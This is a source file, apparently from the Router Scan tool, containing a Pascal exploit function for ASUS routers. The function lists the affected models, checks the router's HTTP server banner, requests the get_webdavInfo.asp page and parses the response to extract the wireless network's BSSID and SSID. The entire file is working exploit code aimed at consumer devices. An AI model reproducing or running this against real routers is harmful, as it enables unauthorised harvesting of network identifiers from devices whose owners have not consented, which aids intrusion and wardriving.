// Router Scan exploit
// Copyright (C) Stas'M Corp. 2015

// Project home page:
// http://stascorp.com/load/1-1-0-56

function TRouter.Exploit_ASUS_webdav(UseAuth: Boolean; var AuthUser, AuthPass: String): Boolean;
var
  Code: Integer;
  L: TStringList;
begin
  // Affected:
  // ASUS RT-N66U
  // ASUS RT-AC52U
  // ASUS RT-AC68U
  // ASUS RT-AC87U
  // ASUS RT-N16
  // ASUS RT-AC66U
  // ASUS DSL-N55U
  Result := False;
  if (ServerName <> 'httpd')
  and (ServerName <> 'httpd/2.0') then
    Exit;
  if AuthOk and (AuthUser = 'admin') then
    Exit;
  if GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/get_webdavInfo.asp', S, Code, 8, 0,
  ServerName, UseAuth, AuthUser, AuthPass) then begin
    if Pos('pktInfo=[', S)>0 then begin
      S := StringReplace(S, '// pktInfo=[', '', []);
      L := TStringList.Create;
      L.Text := StringReplace(DeleteBetween(S, 'pktInfo=[', '];'), ''',''', #10, [rfReplaceAll]);
      if L.Count >= 7 then begin
        BSSID := L.Strings[6];
        if BSSID <> '' then
          SetTableCell(stcBSSID, BSSID);
        SSID := L.Strings[1];
        if SSID <> '' then
          SetTableCell(stcSSID, SSID);
      end;
      L.Free;
    end;
  end;
end;
